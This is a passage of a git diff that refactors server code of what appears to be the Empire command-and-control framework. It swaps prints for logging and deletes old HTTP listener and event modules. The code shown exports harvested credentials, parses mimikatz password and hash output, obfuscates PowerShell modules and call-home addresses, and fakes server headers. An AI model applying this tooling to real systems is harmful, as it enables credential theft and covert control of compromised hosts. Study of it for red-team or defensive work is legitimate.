- self.lock.acquire()
- with open(self.installPath + "/data/credentials.csv", "w") as f:
- f.write("Domain, Username, Host, Cred Type, Password\n")
- for row in rows:
- # todo vr maybe can replace with
- # f.write(f'{row.domain},{row.username},{row.host},{row.credtype},{row.password}\n')
- row = list(row)
- for n in range(len(row)):
- if isinstance(row[n], bytes):
- row[n] = row[n].decode("UTF-8")
- f.write(
- row[0]
- + ","
- + row[1]
- + ","
- + row[2]
- + ","
- + row[3]
- + ","
- + row[4]
- + "\n"
- )
- finally:
- self.lock.release()
-
- # Empire Log
- rows = self.run_report_query()
+ self.listenersv2.shutdown_listeners()
- print(helpers.color(f"[*] Writing {self.installPath}/data/master.log"))
- try:
- self.lock.acquire()
- with open(self.installPath + "/data/master.log", "w") as f:
- f.write("Empire Master Taskings & Results Log by timestamp\n")
- f.write("=" * 50 + "\n\n")
- for row in rows:
- # todo vr maybe can replace with
- # f.write(f'\n{xstr(row.timestamp)} - {xstr(row.username)} ({xstr(row.username)})> {xstr(row.hostname)}\n{xstr(row.taskID)}\n{xstr(row.results)}\n')
- row = list(row)
- for n in range(len(row)):
- if isinstance(row[n], bytes):
- row[n] = row[n].decode("UTF-8")
- f.write(
- "\n"
- + xstr(row[0])
- + " - "
- + xstr(row[3])
- + " ("
- + xstr(row[2])
- + ")> "
- + xstr(row[5])
- + "\n"
- + xstr(row[6])
- + "\n"
- + xstr(row[7])
- + "\n"
- )
- finally:
- self.lock.release()
-
- return f"{self.installPath}/data"
-
- def preobfuscate_modules(self, obfuscation_command, reobfuscate=False):
- """
- Preobfuscate PowerShell module_source files
- """
- if not data_util.is_powershell_installed():
- print(
- helpers.color(
- "[!] PowerShell is not installed and is required to use obfuscation, please install it first."
- )
- )
- return
-
- # Preobfuscate all module_source files
- files = [file for file in helpers.get_module_source_files()]
-
- for file in files:
- file = os.getcwd() + "/" + file
- if reobfuscate or not data_util.is_obfuscated(file):
- message = "[*] Obfuscating {}...".format(os.path.basename(file))
- signal = json.dumps(
- {
- "print": True,
- "message": message,
- "obfuscated_file": os.path.basename(file),
- }
- )
- dispatcher.send(signal, sender="empire")
- else:
- print(
- helpers.color(
- "[*] "
- + os.path.basename(file)
- + " was already obfuscated. Not reobfuscating."
- )
- )
- data_util.obfuscate_module(file, obfuscation_command, reobfuscate)
-
- def upload_file(self, filename: str, data: bytes):
- """
- Upload a file to the remote server.
- """
- # decode the file data and save it off as appropriate
- file_data = helpers.decode_base64(data.encode("UTF-8"))
-
- with open(f"{self.directory['downloads']}{filename}", "wb+") as f:
- f.write(file_data)
-
- def list_files(self):
- """
- List all files in the download directory.
- """
- files = next(os.walk(self.directory["downloads"]), (None, None, []))[2]
- if ".keep" in files:
- files.remove(".keep")
- return files
-
- def download_file(self, filename: str):
- """
- Download a file from the remote server.
- """
- with open(f"{self.directory['downloads']}{filename}", "rb") as f:
- data = f.read()
-
- # decode the file data and save it off as appropriate
- file_data = helpers.encode_base64(data).decode("UTF-8")
- return file_data
-
- def get_directories(self):
- """
- Get download folder path from config file
- """
- directories = empire_config.yaml.get("directories", {})
- for key, value in directories.items():
- self.directory[key] = value
- if self.directory[key][-1] != "/":
- self.directory[key] += "/"
-
-
-def xstr(s):
- """
- Safely cast to a string with a handler for None
- """
- if s is None:
- return ""
- return str(s)
+ log.info("Shutting down plugins...")
+ self.pluginsv2.shutdown()
diff --git a/empire/server/common/encryption.py b/empire/server/common/encryption.py
index a33196aea..4741f3de9 100644
--- a/empire/server/common/encryption.py
+++ b/empire/server/common/encryption.py
@@ -18,11 +18,10 @@
DiffieHellman() - Mark Loiseau's DiffieHellman implementation, see ./data/licenses/ for license info
"""
-from __future__ import print_function
-
import base64
import hashlib
import hmac
+import logging
import os
import random
import string
@@ -36,28 +35,17 @@
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+log = logging.getLogger(__name__)
+
def to_bufferable(binary):
- return binary
+ if isinstance(binary, bytes):
+ return binary
+ return bytes(ord(b) for b in binary)
def _get_byte(c):
- return ord(c)
-
-
-# Python 3 compatibility stuffz
-try:
- xrange
-except Exception:
- xrange = range
-
- def to_bufferable(binary):
- if isinstance(binary, bytes):
- return binary
- return bytes(ord(b) for b in binary)
-
- def _get_byte(c):
- return c
+ return c
# If a secure random number generator is unavailable, exit with an error.
@@ -66,7 +54,7 @@ def _get_byte(c):
random_function = ssl.RAND_bytes
random_provider = "Python SSL"
-except:
+except Exception:
random_function = os.urandom
random_provider = "os.urandom"
@@ -117,7 +105,7 @@ def rsa_xml_to_key(xml):
return key
# if there's an XML parsing error, return None
- except:
+ except Exception:
return None
@@ -220,7 +208,6 @@ def generate_aes_key():
"""
Generate a random new 128-bit AES key using OS' secure Random functions.
"""
- punctuation = "!#$%&()*+,-./:;<=>?@[\]^_`{|}~"
rng = random.SystemRandom()
return "".join(
rng.sample(
@@ -284,13 +271,13 @@ def __init__(self, generator=2, group=17, keyLength=540):
# Sanity check fors generator and keyLength
if generator not in valid_generators:
- print("Error: Invalid generator. Using default.")
+ log.error("Error: Invalid generator. Using default.")
self.generator = default_generator
else:
self.generator = generator
if keyLength < min_keyLength:
- print("Error: keyLength is too small. Setting to minimum.")
+ log.error("Error: keyLength is too small. Setting to minimum.")
self.keyLength = min_keyLength
else:
self.keyLength = keyLength
@@ -318,7 +305,7 @@ def getPrime(self, group=17):
if group in list(primes.keys()):
return primes[group]
else:
- print("Error: No prime with group %i. Using default." % group)
+ log.error(f"Error: No prime with group {group:d}. Using default.")
return primes[default_group]
def genRandom(self, bits):
@@ -332,7 +319,7 @@ def genRandom(self, bits):
try:
# Python 3
_rand = int.from_bytes(random_function(_bytes), byteorder="big")
- except:
+ except Exception:
# Python 2
_rand = int(random_function(_bytes).encode("hex"), 16)
diff --git a/empire/server/common/events.py b/empire/server/common/events.py
deleted file mode 100644
index 5a1139b94..000000000
--- a/empire/server/common/events.py
+++ /dev/null
@@ -1,68 +0,0 @@
-"""
-Event handling system
-Every "major" event in Empire (loosely defined as everything you'd want to
-go into a report) is logged to the database. This file contains functions
-which help manage those events - logging them, fetching them, etc.
-"""
-
-import json
-
-from pydispatch import dispatcher
-
-from empire.server.database import models
-from empire.server.database.base import Session
-
-# from empire.server.common import db # used in the disabled TODO below
-
-################################################################################
-# Helper functions for logging common events
-################################################################################
-
-
-def agent_rename(old_name, new_name):
- """
- Helper function for reporting agent name changes.
-
- old_name - agent's old name
- new_name - what the agent is being renamed to
- """
- # make sure to include new_name in there so it will persist if the agent
- # is renamed again - that way we can still trace the trail back if needed
- message = "[*] Agent {} has been renamed to {}".format(old_name, new_name)
- signal = json.dumps(
- {
- "print": False,
- "message": message,
- "old_name": old_name,
- "new_name": new_name,
- "event_type": "rename",
- }
- )
- # signal twice, once for each name (that way, if you search by sender,
- # the last thing in the old agent and the first thing in the new is that
- # it has been renamed)
- dispatcher.send(signal, sender="agents/{}".format(old_name))
- dispatcher.send(signal, sender="agents/{}".format(new_name))
-
- # TODO rename all events left over using agent's old name?
-
-
-def log_event(name, event_type, message, task_id=None):
- """
- Log arbitrary events
-
- name - the sender string from the dispatched event
- event_type - the category of the event - agent_result, agent_task,
- agent_rename, etc. Ideally a succinct description of what the
- event actually is.
- message - the body of the event, WHICH MUST BE JSON, describing any
- pertinent details of the event
- task_id - the ID of the task this event is in relation to. Enables quick
- queries of an agent's task and its result together.
- """
- Session().add(
- models.Reporting(
- name=name, event_type=event_type, message=message, taskID=task_id
- )
- )
- Session().commit()
diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py
index 1cfd989ff..f1564b1ae 100644
--- a/empire/server/common/helpers.py
+++ b/empire/server/common/helpers.py
@@ -37,17 +37,14 @@
"""
import base64
import binascii
-import datetime
-import fnmatch
-import hashlib
import ipaddress
import json
+import logging
import os
import random
import re
import socket
import string
-import subprocess
import sys
import threading
import urllib.error
@@ -60,6 +57,9 @@
from empire.server.utils.math_util import old_div
+log = logging.getLogger(__name__)
+
+
###############################################################
#
# Global Variables
@@ -82,9 +82,9 @@ def validate_ip(IP):
Validate an IP.
"""
try:
- ip = ipaddress.ip_address(IP)
+ ipaddress.ip_address(IP)
return True
- except:
+ except Exception:
return False
@@ -125,13 +125,13 @@ def obfuscate_call_home_address(data):
return tmp
-def chunks(l, n):
+def chunks(s, n):
"""
- Generator to split a string l into chunks of size n.
+ Generator to split a string s into chunks of size n.
Used by macro modules.
"""
- for i in range(0, len(l), n):
- yield l[i : i + n]
+ for i in range(0, len(s), n):
+ yield s[i : i + n]
####################################################################################
@@ -148,7 +148,7 @@ def strip_python_comments(data):
Strip block comments, line comments, empty lines, verbose statements, docstring,
and debug statements from a Python source file.
"""
- print(color("[!] strip_python_comments is deprecated and should not be used"))
+ log.warning("strip_python_comments is deprecated and should not be used")
# remove docstrings
data = re.sub(r'"(?")
if len(parts) == 2:
-
username = parts[1].split(b":", 1)[0].strip()
password = parts[1].split(b":", 1)[1].strip()
@@ -417,7 +411,7 @@ def parse_credentials(data):
return [("plaintext", domain, username, password, "", "")]
else:
- print(color("[!] Error in parsing prompted credential output."))
+ log.error("Error in parsing prompted credential output.")
return None
# python/collection/prompt (Mac OS)
@@ -466,14 +460,12 @@ def parse_mimikatz(data):
hostName = temp.split(b".")[0]
hostDomain = b".".join(temp.split(".")[1:])
- except:
+ except Exception:
pass
for regex in regexes:
-
p = re.compile(regex)
for match in p.findall(data.decode("UTF-8")):
-
lines2 = match.split("\n")
username, domain, password = "", "", ""
@@ -485,11 +477,10 @@ def parse_mimikatz(data):
domain = line.split(":", 1)[1].strip()
elif "NTLM" in line or "Password" in line:
password = line.split(":", 1)[1].strip()
- except:
+ except Exception:
pass
if username != "" and password != "" and password != "(null)":
-
sid = ""
# substitute the FQDN in if it matches
@@ -512,7 +503,6 @@ def parse_mimikatz(data):
# happens on domain controller hashdumps
for x in range(8, 13):
if lines[x].startswith(b"Domain :"):
-
domain, sid, krbtgtHash = b"", b"", b""
try:
@@ -541,7 +531,7 @@ def parse_mimikatz(data):
sid.decode("UTF-8"),
)
)
- except Exception as e:
+ except Exception:
pass
if len(creds) == 0:
@@ -636,7 +626,7 @@ def get_interface_ip(ifname):
struct.pack("256s", ifname[:15].encode("UTF-8")),
)[20:24]
)
- except IOError as e:
+ except IOError:
return ""
ip = ""
@@ -644,8 +634,8 @@ def get_interface_ip(ifname):
ip = socket.gethostbyname(socket.gethostname())
except socket.gaierror:
pass
- except:
- print("Unexpected error:", sys.exc_info()[0])
+ except Exception:
+ log.error("Unexpected error:", exc_info=True)
return ip
if (ip == "" or ip.startswith("127.")) and os.name != "nt":
@@ -656,8 +646,8 @@ def get_interface_ip(ifname):
ip = get_interface_ip(ifname)
if ip != "":
break
- except:
- print("Unexpected error:", sys.exc_info()[0])
+ except Exception:
+ log.error("Unexpected error:", exc_info=True)
pass
return ip
@@ -766,66 +756,6 @@ def encode_base64(data):
return base64.encodebytes(data).strip()
-def complete_path(text, line, arg=False):
- """
- Helper for tab-completion of file paths.
- """
-
- # stolen from dataq at
- # http://stackoverflow.com/questions/16826172/filename-tab-completion-in-cmd-cmd-of-python
-
- if arg:
- # if we have "command something path"
- argData = line.split()[1:]
- else:
- # if we have "command path"
- argData = line.split()[0:]
-
- if not argData or len(argData) == 1:
- completions = os.listdir("./")
- else:
- dir, part, base = argData[-1].rpartition("/")
- if part == "":
- dir = "./"
- elif dir == "":
- dir = "/"
-
- completions = []
- for f in os.listdir(dir):
- if f.startswith(base):
- if os.path.isfile(os.path.join(dir, f)):
- completions.append(f)
- else:
- completions.append(f + "/")
-
- return completions
-
-
-def dict_factory(cursor, row):
- """
- Helper that returns the SQLite query results as a dictionary.
-
- From Colin Burnett: http://stackoverflow.com/questions/811548/sqlite-and-python-return-a-dictionary-using-fetchone
- """
- d = {}
- for idx, col in enumerate(cursor.description):
- d[col[0]] = row[idx]
- return d
-
-
-def get_module_source_files():
- """
- Get the filepaths of PowerShell module_source files located
- in the data/module_source directory.
- """
- paths = []
- pattern = "*.ps1"
- for root, dirs, files in os.walk("empire/server/data/module_source"):
- for filename in fnmatch.filter(files, pattern):
- paths.append(os.path.join(root, filename))
- return paths
-
-
class KThread(threading.Thread):
"""
A subclass of threading.Thread, with a kill() method.
@@ -867,4 +797,4 @@ def kill(self):
def slackMessage(slack_webhook_url, slack_text):
message = {"text": slack_text}
req = urllib.request.Request(slack_webhook_url, json.dumps(message).encode("UTF-8"))
- resp = urllib.request.urlopen(req)
+ urllib.request.urlopen(req)
diff --git a/empire/server/common/http.py b/empire/server/common/http.py
deleted file mode 100644
index 273f97870..000000000
--- a/empire/server/common/http.py
+++ /dev/null
@@ -1,247 +0,0 @@
-"""
-
-HTTP related methods used by Empire.
-
-Includes URI validation/checksums, as well as the base
-http server (EmpireServer) and its modified request
-handler (RequestHandler).
-
-These are the first places URI requests are processed.
-
-"""
-from __future__ import absolute_import
-
-import http.server
-import json
-import os
-import re
-import ssl
-import threading
-from http.server import BaseHTTPRequestHandler
-
-from pydispatch import dispatcher
-
-from empire.server.utils import data_util
-
-# Empire imports
-from . import helpers
-
-
-def default_page(path_to_html_file="empty"):
- if path_to_html_file == "empty":
- """
- Returns the default page for this server.
- """
- page = "It works!
"
- page += "This is the default web page for this server.
"
- page += "The web server software is running but no content has been added, yet.
"
- page += ""
- return page
- else:
- with open(path_to_html_file, "r") as f:
- html = f.read()
- return html
-
-
-###############################################################
-#
-# Host2lhost helper.
-#
-###############################################################
-
-
-def host2lhost(s):
- """
- Return lhost for Empire's native listener from Host value
- """
- reg = r"(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"
- res = re.findall(reg, s)
- return res[0] if len(res) == 1 else "0.0.0.0"
-
-
-###############################################################
-#
-# Checksum helpers.
-#
-###############################################################
-
-
-def checksum8(s):
- """
- Add up all character values and mods the total by 256.
- """
- return sum([ord(ch) for ch in s]) % 0x100
-
-
-###############################################################
-#
-# HTTP servers and handlers.
-#
-###############################################################
-
-
-class RequestHandler(BaseHTTPRequestHandler):
- """
- Main HTTP handler we're overwriting in order to modify the HTTPServer behavior.
- """
-
- # retrieve the server headers from the common config
- serverVersion = data_util.get_config("server_version")[0]
-
- # fake out our server headers base
- BaseHTTPRequestHandler.server_version = serverVersion
- BaseHTTPRequestHandler.sys_version = ""
-
- def do_GET(self):
-
- # get the requested path and the client IP
- resource = self.path
- clientIP = self.client_address[0]
- sessionID = None
-
- cookie = self.headers.getheader("Cookie")
- if cookie:
- # search for a SESSIONID value in the cookie
- parts = cookie.split(";")
- for part in parts:
- if "SESSIONID" in part:
- # extract the sessionID value
- name, sessionID = part.split("=", 1)
-
- # fire off an event for this GET (for logging)
- message = "[*] {resource} requested from {session_id} at {client_ip}".format(
- resource=resource, session_id=sessionID, client_ip=clientIP
- )
-
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
-
- # get the appropriate response from the agent handler
- (code, responsedata) = self.server.agents.process_get(
- self.server.server_port, clientIP, sessionID, resource
- )
-
- # write the response out
- self.send_response(code)
- self.end_headers()
- self.wfile.write(responsedata)
- self.wfile.flush()
- # self.wfile.close() # causes an error with HTTP comms
-
- def do_POST(self):
-
- resource = self.path
- clientIP = self.client_address[0]
- sessionID = None
-
- cookie = self.headers.getheader("Cookie")
- if cookie:
- # search for a SESSIONID value in the cookie
- parts = cookie.split(";")
- for part in parts:
- if "SESSIONID" in part:
- # extract the sessionID value
- name, sessionID = part.split("=", 1)
-
- # fire off an event for this POST (for logging)
- message = "[*] Post to {resource} from {session_id} at {client_ip}".format(
- resource=resource, session_id=sessionID, client_ip=clientIP
- )
-
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
-
- # read in the length of the POST data
- if self.headers.getheader("content-length"):
- length = int(self.headers.getheader("content-length"))
- postData = self.rfile.read(length)
-
- # get the appropriate response for this agent
- (code, responsedata) = self.server.agents.process_post(
- self.server.server_port, clientIP, sessionID, resource, postData
- )
-
- # write the response out
- self.send_response(code)
- self.end_headers()
- self.wfile.write(responsedata)
- self.wfile.flush()
- # self.wfile.close() # causes an error with HTTP comms
-
- # supress all the stupid default stdout/stderr output
- def log_message(*arg):
- pass
-
-
-class EmpireServer(threading.Thread):
- """
- Version of a simple HTTP[S] Server with specifiable port and
- SSL cert. Defaults to HTTP is no cert is specified.
-
- Uses agents.RequestHandler handle inbound requests.
- """
-
- def __init__(self, handler, lhost="0.0.0.0", port=80, cert=""):
-
- # set to False if the listener doesn't successfully start
- self.success = True
-
- try:
- threading.Thread.__init__(self)
- self.server = None
-
- self.server = http.server.HTTPServer((lhost, int(port)), RequestHandler)
-
- # pass the agent handler object along for the RequestHandler
- self.server.agents = handler
-
- self.port = port
- self.serverType = "HTTP"
-
- # wrap it all up in SSL if a cert is specified
- if cert and cert != "":
- self.serverType = "HTTPS"
- cert = os.path.abspath(cert)
-
- self.server.socket = ssl.wrap_socket(
- self.server.socket, certfile=cert, server_side=True
- )
-
- message = "[*] Initializing HTTPS server on {port}".format(port=port)
- else:
- message = "[*] Initializing HTTP server on {port}".format(port=port)
-
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
-
- except Exception as e:
- self.success = False
- # shoot off an error if the listener doesn't stand up
- message = "[!] Error starting listener on port {}: {}".format(port, e)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
-
- def base_server(self):
- return self.server
-
- def run(self):
- try:
- self.server.serve_forever()
- except:
- pass
-
- def shutdown(self):
-
- # shut down the server/socket
- self.server.shutdown()
- self.server.socket.close()
- self.server.server_close()
- self._Thread__stop()
-
- # make sure all the threads are killed
- for thread in threading.enumerate():
- if thread.isAlive():
- try:
- thread._Thread__stop()
- except:
- pass
diff --git a/empire/server/common/listeners.py b/empire/server/common/listeners.py
index 4454be9f4..4896dfc1f 100644
--- a/empire/server/common/listeners.py
+++ b/empire/server/common/listeners.py
@@ -1,703 +1,20 @@
-"""
-
-Listener handling functionality for Empire.
-
-"""
-from __future__ import absolute_import, print_function
-
-import copy
-import fnmatch
-import hashlib
-import importlib.util
-import json
-import os
-import traceback
-from builtins import object, str
-
-from pydispatch import dispatcher
-from sqlalchemy import and_, or_
-from sqlalchemy.orm.attributes import flag_modified
-
-from empire.server.database import models
-from empire.server.database.base import Session
-
-from . import helpers
+import warnings
+from builtins import object
class Listeners(object):
"""
- Listener handling class.
+ At this point, just a pass-through class to the v2 listener service
+ until we get around to more refactoring.
"""
def __init__(self, main_menu, args):
-
self.mainMenu = main_menu
self.args = args
- # loaded listener format:
- # {"listenerModuleName": moduleInstance, ...}
- self.loadedListeners = {}
-
- # active listener format (these are listener modules that are actually instantiated)
- # {"listenerName" : {moduleName: 'http', options: {setModuleOptions} }}
- self.activeListeners = {}
-
- self.load_listeners()
- self.start_existing_listeners()
-
- def load_listeners(self):
- """
- Load listeners from the install + "/listeners/*" path
- """
-
- rootPath = "%s/listeners/" % (self.mainMenu.installPath)
- pattern = "*.py"
- print(helpers.color("[*] Loading listeners from: %s" % (rootPath)))
-
- for root, dirs, files in os.walk(rootPath):
- for filename in fnmatch.filter(files, pattern):
- filePath = os.path.join(root, filename)
-
- # don't load up any of the templates
- if fnmatch.fnmatch(filename, "*template.py"):
- continue
-
- # extract just the listener module name from the full path
- listenerName = filePath.split("/listeners/")[-1][0:-3]
-
- # instantiate the listener module and save it to the internal cache
- spec = importlib.util.spec_from_file_location(listenerName, filePath)
- mod = importlib.util.module_from_spec(spec)
- spec.loader.exec_module(mod)
- listener = mod.Listener(self.mainMenu, [])
-
- for key, value in listener.options.items():
- if value.get("SuggestedValues") is None:
- value["SuggestedValues"] = []
- if value.get("Strict") is None:
- value["Strict"] = False
-
- self.loadedListeners[listenerName] = listener
-
- def default_listener_options(self, listener_name):
- """
- Load listeners options from the install + "/listeners/*" path
- """
-
- root_path = "%s/listeners/" % (self.mainMenu.installPath)
- pattern = "*.py"
-
- file_path = os.path.join(root_path, listener_name + ".py")
-
- # instantiate the listener module and save it to the internal cache
- spec = importlib.util.spec_from_file_location(listener_name, file_path)
- mod = importlib.util.module_from_spec(spec)
- spec.loader.exec_module(mod)
- self.loadedListeners[listener_name].options = mod.Listener(
- self.mainMenu, []
- ).options
-
- def set_listener_option(self, listenerName, option, value):
- """
- Sets an option for the given listener module or all listener module.
- """
- for name, listenerObject in self.loadedListeners.items():
- if (listenerName.lower() == "all" or listenerName == name) and (
- option in listenerObject.options
- ):
- # parse and auto-set some host parameters
- if option == "Host":
-
- if not value.startswith("http"):
- parts = value.split(":")
- # if there's a current ssl cert path set, assume this is https
- if ("CertPath" in listenerObject.options) and (
- listenerObject.options["CertPath"]["Value"] != ""
- ):
- protocol = "https"
- defaultPort = 443
- else:
- protocol = "http"
- defaultPort = 80
-
- elif value.startswith("https"):
- value = value.split("//")[1]
- parts = value.split(":")
- protocol = "https"
- defaultPort = 443
-
- elif value.startswith("http"):
- value = value.split("//")[1]
- parts = value.split(":")
- protocol = "http"
- defaultPort = 80
-
- ##################################################################################################################################
- # Added functionality to Port
- # Unsure if this section is needed
- if len(parts) != 1 and parts[-1].isdigit():
- # if a port is specified with http://host:port
- listenerObject.options["Host"]["Value"] = "%s://%s" % (
- protocol,
- value,
- )
- if listenerObject.options["Port"]["Value"] == "":
- listenerObject.options["Port"]["Value"] = parts[-1]
- elif listenerObject.options["Port"]["Value"] != "":
- # otherwise, check if the port value was manually set
- listenerObject.options["Host"]["Value"] = "%s://%s:%s" % (
- protocol,
- value,
- listenerObject.options["Port"]["Value"],
- )
- else:
- # otherwise use default port
- listenerObject.options["Host"]["Value"] = "%s://%s" % (
- protocol,
- value,
- )
- if listenerObject.options["Port"]["Value"] == "":
- listenerObject.options["Port"]["Value"] = defaultPort
- ###################################################################################################################################
- return True
-
- elif option == "CertPath" and value != "":
- listenerObject.options[option]["Value"] = value
- host = listenerObject.options["Host"]["Value"]
- # if we're setting a SSL cert path, but the host is specific at http
- if host.startswith("http:"):
- listenerObject.options["Host"][
- "Value"
- ] = listenerObject.options["Host"]["Value"].replace(
- "http:", "https:"
- )
- return True
-
- if option == "Port":
- listenerObject.options[option]["Value"] = value
- # Check if Port is set and add it to host
- parts = listenerObject.options["Host"]["Value"]
- if parts.startswith("https"):
- address = parts[8:]
- address = "".join(address.split(":")[0])
- protocol = "https"
- listenerObject.options["Host"]["Value"] = "%s://%s:%s" % (
- protocol,
- address,
- listenerObject.options["Port"]["Value"],
- )
- elif parts.startswith("http"):
- address = parts[7:]
- address = "".join(address.split(":")[0])
- protocol = "http"
- listenerObject.options["Host"]["Value"] = "%s://%s:%s" % (
- protocol,
- address,
- listenerObject.options["Port"]["Value"],
- )
- return True
-
- elif option == "StagingKey":
- # if the staging key isn't 32 characters, assume we're md5 hashing it
- value = str(value).strip()
- if len(value) != 32:
- stagingKeyHash = hashlib.md5(value.encode("UTF-8")).hexdigest()
- print(
- helpers.color(
- "[!] Warning: staging key not 32 characters, using hash of staging key instead: %s"
- % (stagingKeyHash)
- )
- )
- listenerObject.options[option]["Value"] = stagingKeyHash
- else:
- listenerObject.options[option]["Value"] = str(value)
- return True
-
- elif option in listenerObject.options:
- if listenerObject.options.get(option, {}).get(
- "Strict", False
- ) and option not in listenerObject.options.get(option, {}).get(
- "SuggestedValues", []
- ):
- return False
- listenerObject.options[option]["Value"] = value
- return True
-
- else:
- print(helpers.color("[!] Error: invalid option name"))
- return False
-
- def start_listener(self, module_name, listener_object):
- """
- Takes a listener module object, starts the listener, adds the listener to the database, and
- adds the listener to the current listener cache.
- """
-
- category = listener_object.info["Category"]
- name = listener_object.options["Name"]["Value"]
- name_base = name
-
- if isinstance(name, bytes):
- name = name.decode("UTF-8")
-
- if not listener_object.validate_options():
- return
-
- i = 1
- while name in list(self.activeListeners.keys()):
- name = "%s%s" % (name_base, i)
-
- listener_object.options["Name"]["Value"] = name
-
- try:
- print(helpers.color("[*] Starting listener '%s'" % (name)))
- success = listener_object.start(name=name)
-
- if success:
- listener_options = copy.deepcopy(listener_object.options)
- self.activeListeners[name] = {
- "moduleName": module_name,
- "options": listener_options,
- }
-
- Session().add(
- models.Listener(
- name=name,
- module=module_name,
- listener_category=category,
- enabled=True,
- options=listener_options,
- )
- )
- Session().commit()
-
- # dispatch this event
- message = "[+] Listener successfully started!"
- signal = json.dumps(
- {
- "print": True,
- "message": message,
- "listener_options": listener_options,
- }
- )
- dispatcher.send(
- signal, sender="listeners/{}/{}".format(module_name, name)
- )
- self.activeListeners[name]["name"] = name
-
- # TODO: listeners should not have their default options rewritten in memory after generation
- if module_name == "redirector":
- self.default_listener_options(module_name)
-
- if self.mainMenu.socketio:
- self.mainMenu.socketio.emit(
- "listeners/new",
- self.get_listener_for_socket(name),
- broadcast=True,
- )
- else:
- print(helpers.color("[!] Listener failed to start!"))
-
- except Exception as e:
- if name in self.activeListeners:
- del self.activeListeners[name]
- print(helpers.color("[!] Error starting listener: %s" % (e)))
-
- def get_listener_for_socket(self, name):
- listener = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.name == name)
- .first()
- )
-
- return {
- "ID": listener.id,
- "name": listener.name,
- "module": listener.module,
- "listener_type": listener.listener_type,
- "listener_category": listener.listener_category,
- "options": listener.options,
- "created_at": listener.created_at,
- }
-
- def start_existing_listeners(self):
- """
- Startup any listeners that are currently in the database.
- """
- listeners = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.enabled == True)
- .all()
- )
-
- for listener in listeners:
- listener_name = listener.name
- module_name = listener.module
- name_base = listener_name
- options = listener.options
-
- i = 1
- while listener_name in list(self.activeListeners.keys()):
- listener_name = "%s%s" % (name_base, i)
-
- try:
- listener_module = self.loadedListeners[module_name]
-
- if module_name == "redirector":
- # todo: fix redirector listeners when empire is resetarted
- print(
- helpers.color(
- "[!] Redirector listeners may not work when Empire is restarted."
- )
- )
- # listener_module.options.update(options)
- success = True
- else:
- for option, value in options.items():
- listener_module.options[option]["Value"] = value["Value"]
- success = listener_module.start(name=listener_name)
-
- print(helpers.color("[*] Starting listener '%s'" % listener_name))
-
- if success:
- listener_options = copy.deepcopy(listener_module.options)
- self.activeListeners[listener_name] = {
- "moduleName": module_name,
- "options": listener_options,
- }
- # dispatch this event
- message = "[+] Listener successfully started!"
- signal = json.dumps(
- {
- "print": True,
- "message": message,
- "listener_options": listener_options,
- }
- )
- dispatcher.send(
- signal,
- sender="listeners/{}/{}".format(module_name, listener_name),
- )
- else:
- print(helpers.color("[!] Listener failed to start!"))
-
- except Exception as e:
- if listener_name in self.activeListeners:
- del self.activeListeners[listener_name]
- print(helpers.color("[!] Error starting listener: %s" % e))
-
- def enable_listener(self, listener_name):
- """
- Starts an existing listener and sets it to enabled
- """
- if listener_name in list(self.activeListeners.keys()):
- print(helpers.color("[!] Listener already running!"))
- return False
-
- result = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.name == listener_name)
- .first()
- )
-
- if not result:
- print(helpers.color("[!] Listener %s doesn't exist!" % listener_name))
- return False
- module_name = result["module"]
- options = result["options"]
-
- try:
- listener_module = self.loadedListeners[module_name]
-
- for option, value in options.items():
- listener_module.options[option]["Value"] = value["Value"]
-
- print(helpers.color("[*] Starting listener '%s'" % listener_name))
- if module_name == "redirector":
- success = True
- else:
- success = listener_module.start(name=listener_name)
-
- if success:
- print(helpers.color("[+] Listener successfully started!"))
- listener_options = copy.deepcopy(listener_module.options)
- self.activeListeners[listener_name] = {
- "moduleName": module_name,
- "options": listener_options,
- }
-
- listener = (
- Session()
- .query(models.Listener)
- .filter(
- and_(
- models.Listener.name == listener_name,
- models.Listener.module != "redirector",
- )
- )
- .first()
- )
- listener.enabled = True
- Session().commit()
- else:
- print(helpers.color("[!] Listener failed to start!"))
- except Exception as e:
- traceback.print_exc()
- if listener_name in self.activeListeners:
- del self.activeListeners[listener_name]
- print(helpers.color("[!] Error starting listener: %s" % e))
-
- def kill_listener(self, listener_name):
- """
- Shut down the server associated with a listenerName and delete the
- listener from the database.
-
- To kill all listeners, use listenerName == 'all'
- """
-
- if listener_name.lower() == "all":
- listener_names = list(self.activeListeners.keys())
- else:
- listener_names = [listener_name]
-
- for listener_name in listener_names:
- if listener_name not in self.activeListeners:
- print(helpers.color("[!] Listener '%s' not active!" % (listener_name)))
- return False
- listener = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.name == listener_name)
- .first()
- )
-
- # shut down the listener and remove it from the cache
- if (
- self.mainMenu.listeners.get_listener_module(listener_name)
- == "redirector"
- ):
- del self.activeListeners[listener_name]
- Session().delete(listener)
- continue
-
- self.shutdown_listener(listener_name)
-
- # remove the listener from the database
- Session().delete(listener)
- Session().commit()
-
- def delete_listener(self, listener_name):
- """
- Delete listener(s) from database.
- """
-
- try:
- listeners = Session().query(models.Listener).all()
-
- db_names = [x["name"] for x in listeners]
- if listener_name.lower() == "all":
- names = db_names
- else:
- names = [listener_name]
-
- for name in names:
- if not name in db_names:
- print(helpers.color("[!] Listener '%s' does not exist!" % name))
- return False
-
- if name in list(self.activeListeners.keys()):
- self.shutdown_listener(name)
-
- listener = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.name == name)
- .first()
- )
- Session().delete(listener)
- Session().commit()
-
- except Exception as e:
- print(helpers.color("[!] Error deleting listener '%s'" % name))
-
- def shutdown_listener(self, listenerName):
- """
- Shut down the server associated with a listenerName, but DON'T
- delete it from the database.
- """
-
- if listenerName.lower() == "all":
- listenerNames = list(self.activeListeners.keys())
- else:
- listenerNames = [listenerName]
-
- for listenerName in listenerNames:
- if listenerName not in self.activeListeners:
- print(
- helpers.color("[!] Listener '%s' doesn't exist!" % (listenerName))
- )
- return False
-
